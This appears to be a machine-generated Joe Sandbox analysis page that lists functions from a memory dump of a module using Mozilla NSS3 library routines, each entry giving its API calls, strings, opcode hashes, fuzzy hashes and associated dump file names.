Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 2216f8066df1fd5321795531a5a4afc4b34a55a9c4656f932c87e79a9cd0196c
Instruction ID: 7d9507ec4a90b262d3a3267f550cacf6071694cddeff78d0c43222d898b60c89
Opcode Fuzzy Hash: 2216f8066df1fd5321795531a5a4afc4b34a55a9c4656f932c87e79a9cd0196c
Instruction Fuzzy Hash: 6B314B31B0425D8BCB00DFAACCD4AAFBBA2AF45314B098954EE545BB41D771ED16C7D0

Function 6C696DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C696E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C696E57

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C696E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C696EAA

Strings

nsl, xrefs: 6C696DF9

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nsl
API String ID: 3163584228-3778653006
Opcode ID: a7c31e4d418993d61747044087fa479959d68ba4b31a00d7ca34828bcfbdc9da
Instruction ID: 8517ae925b021a0884b5f7009928a9eaabe00ab4f3f0aa83381b780e0547eea8
Opcode Fuzzy Hash: a7c31e4d418993d61747044087fa479959d68ba4b31a00d7ca34828bcfbdc9da
Instruction Fuzzy Hash: 2331C371619713EFDF941E34CD04396B7A4AB0631AF24063DD59AD6A80E730E855CBC9

Function 6C621EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621EE2

Part of subcall function 6C681820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C621D97,?,?), ref: 6C681836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621F37
DER_DecodeTimeChoice_Util.NSS3(?,dLbl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621F53

Strings

dLbl, xrefs: 6C621F2B, 6C621F51

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLbl
API String ID: 3216063065-4283428794
Opcode ID: 4a12eba4b9b07fd60b377eb85abf3c4fde39f243ca493228f5c2b157dc6e5576
Instruction ID: 3f54422bd5e06f99dffc29de45e3d53d32819fb7b1ecc5826903ab45fb224ac3
Opcode Fuzzy Hash: 4a12eba4b9b07fd60b377eb85abf3c4fde39f243ca493228f5c2b157dc6e5576
Instruction Fuzzy Hash: ED21D7B1509306AFC710CF25DC00ADB77E9AB99358F400929EC64C3A00F335E909CBEA

Function 6C610DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C610BDE), ref: 6C610DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C610BDE), ref: 6C610DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C610BDE), ref: 6C610DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C610BDE), ref: 6C610E32

Strings

%s incr => %d (find lib), xrefs: 6C610E2D

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2fb34e5ae917f0cfb35e1f1af203ad3ca2360985c70434d4ed0fe75e72c5d840
Instruction ID: dd033d16901376684bb731de55aa1a74a93e2ef8ebe8d0a1f64fcfd810a32a12
Opcode Fuzzy Hash: 2fb34e5ae917f0cfb35e1f1af203ad3ca2360985c70434d4ed0fe75e72c5d840
Instruction Fuzzy Hash: 14012472B042249FEA208F2A8C49E5773FCDB46B0AB05443DE949D3A42E761EC2587E1

Function 6C651CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C651CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C651CF1

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

Strings

nsl, xrefs: 6C651D09, 6C651D30
pInitArgs = 0x%p, xrefs: 6C651CEC
C_Initialize, xrefs: 6C651CD3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nsl
API String ID: 1907330108-591192543
Opcode ID: 0a7e07919b052a1100b48d0de537f63eeab460fbf33b106ec031f07007203822
Instruction ID: 2e4e40b2a7122dfde218d012ffef32f858894117b62d5eb6789a6150a953477e
Opcode Fuzzy Hash: 0a7e07919b052a1100b48d0de537f63eeab460fbf33b106ec031f07007203822
Instruction Fuzzy Hash: 9F01CC357021409FCF009F28D94DB5537B5AB8331AF784034EA08C2A11EF34D869C796

Function 6C6CAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC2D

Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
Part of subcall function 6C66ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
Part of subcall function 6C66ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
Part of subcall function 6C66ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9

PK11_FreeSymKey.NSS3(?,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC59
free.MOZGLUE(8CB6FF01,6C6A6AC6,?,?,?,?,?,?,?,?,?,?,6C6B5D40,00000000,?,6C6BAAD4), ref: 6C6CAC62

Strings

@]kl, xrefs: 6C6CAC05

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]kl
API String ID: 1595327144-473540061
Opcode ID: 70847310082a8c468020e9497dcc2481838b0e2529d5d6851fa4096560385233
Instruction ID: b5f24f2cfdf24ca0eb1d67c14f58e081058794a38bab1cce40c482c399a07c6e
Opcode Fuzzy Hash: 70847310082a8c468020e9497dcc2481838b0e2529d5d6851fa4096560385233
Instruction Fuzzy Hash: 330178B56002149BDB00CF15E8C0B5677A8EB05B59F1880A8E94A8FB06D730E808CBAA

Function 6C5B9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5B9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5B9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5B9DDE

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 3d4a6ac73f7d522fc2e58c0858e577b54be274233848a888f65842c0507f46f8
Instruction ID: fbe96d04885f23cb70f4496374f3d4b0a340abac1b7c958dbc8639d84da89197
Opcode Fuzzy Hash: 3d4a6ac73f7d522fc2e58c0858e577b54be274233848a888f65842c0507f46f8
Instruction Fuzzy Hash: 84A1BF717051088FEB0ADF24DCA87AE3B75BB93315F38013DE5166BA40DB39A845DB92

Function 6C641E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C641ECC

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

TlsGetValue.KERNEL32 ref: 6C641EDF
EnterCriticalSection.KERNEL32(?), ref: 6C641EEF
PR_ExitMonitor.NSS3(?), ref: 6C641F37
PR_Unlock.NSS3(?), ref: 6C641F44

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 41a93146e5a4eaf4c283fa482b4bc4e3a1a652b41f50a3a3e4e9ededa5dd1f05
Instruction ID: 6efd1c9b6ae5eaf33e84c9c18ce2628b1076f8a2f6a33ba84a437159ba0ad428
Opcode Fuzzy Hash: 41a93146e5a4eaf4c283fa482b4bc4e3a1a652b41f50a3a3e4e9ededa5dd1f05
Instruction Fuzzy Hash: 88718EB59043019FD700CF24D840A9AB7F5FF89358F14C929E89993B21E731F969CB9A

Function 6C6CDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6CDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6CDE77

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 627e00dbf4bdc884e51eb74d49d9ab546c124a6a25b37e0a04b922db06d8fae4
Instruction ID: fa6bc81a54b1cdbdc51d65540e86cf8c585505ce86260fb393dd94ef6240ca12
Opcode Fuzzy Hash: 627e00dbf4bdc884e51eb74d49d9ab546c124a6a25b37e0a04b922db06d8fae4
Instruction Fuzzy Hash: C6717471A40318CFCB10CF9AC5C069AB7B4FF89718F25816ED9686B702DB70A902CF95

Function 6C63DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(D958E852,6C641397,5B5F5EC0,?,?,6C63B1EE,2404110F,?,?), ref: 6C63AB3C
Part of subcall function 6C63AB10: free.MOZGLUE(D958E836,?,6C63B1EE,2404110F,?,?), ref: 6C63AB49
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(5D5E6C83), ref: 6C63AB5C
Part of subcall function 6C63AB10: free.MOZGLUE(5D5E6C77), ref: 6C63AB63
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C63AB6F
Part of subcall function 6C63AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C63AB76

TlsGetValue.KERNEL32(?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63E029
PK11_IsLoggedIn.NSS3 ref: 6C63E046

Part of subcall function 6C648F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FAF
Part of subcall function 6C648F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FD1
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FFA
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649013
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649042
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C64905A
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649073
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649111

PR_Unlock.NSS3(?,?,?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63E149

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 414030801e8c0faae4e8c4706d729e9c451dad8f42f9f2ee29afcaf1e9604bba
Instruction ID: cdb7dfcd2ae66ff8f73a41f00ae8a626e9f83e72829ecf9833b42059112fc11b
Opcode Fuzzy Hash: 414030801e8c0faae4e8c4706d729e9c451dad8f42f9f2ee29afcaf1e9604bba
Instruction Fuzzy Hash: 39514770600621CFDB109F29C58476ABBF0FF49309F15A86DD89D8B751D735E884CBAA

Function 6C64BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C64BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C629F71,?,?,00000000), ref: 6C64BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C64BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C64C014

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: e0c3d83a331428fdec45d69d6355da7e935505fee1cbf0033bea8df770dcd9b8
Instruction ID: 90ab4760270690e6936e27ef7f023681b8dbd3845e4144403af8717b69b70433
Opcode Fuzzy Hash: e0c3d83a331428fdec45d69d6355da7e935505fee1cbf0033bea8df770dcd9b8
Instruction Fuzzy Hash: 4141D571A016059BEB00DE66DC40BAE73B9AF86308F50C138D91DD7B41FB31D905CBA9

Function 6C61EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C61EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C61EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C61EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61EEEB
free.MOZGLUE(?), ref: 6C61EEF6

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: ead8f599c121bd397c25c73dc1a7c04c56152c2dc76c58900e3a2a4b9d145813
Instruction ID: 80cc1783d6c4c3532fb287662377bed0a894c981d85fcbdf6995554fb686a141
Opcode Fuzzy Hash: ead8f599c121bd397c25c73dc1a7c04c56152c2dc76c58900e3a2a4b9d145813
Instruction Fuzzy Hash: 24312871A082009BEB209F2CCC48BA67BF4FB46317F140538E95A87E51D731E815CBE9

Function 6C631F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C631F1C

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C749EBC), ref: 6C631FB8
SEC_ASN1EncodeItem_Util.NSS3(6C749E9C,?,?,6C749E9C), ref: 6C63200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C632020

Part of subcall function 6C626A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C62AD50,?,?), ref: 6C626A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C632030

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 6bf059bb21a8dc91f6e1904408ba9a27aaf5194188e60bbe2287a37711f22f96
Instruction ID: 0c5258d7c31313396cc982e075b2e98f92f165859b70fa8cd6a61804b28d6f05
Opcode Fuzzy Hash: 6bf059bb21a8dc91f6e1904408ba9a27aaf5194188e60bbe2287a37711f22f96
Instruction Fuzzy Hash: 2D21FBB5901622BBE7014A15DD40FAA77A8FF4231CF146215E83C96F81E731E528CBED

Function 6C621DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C621E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C621E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C621E3B
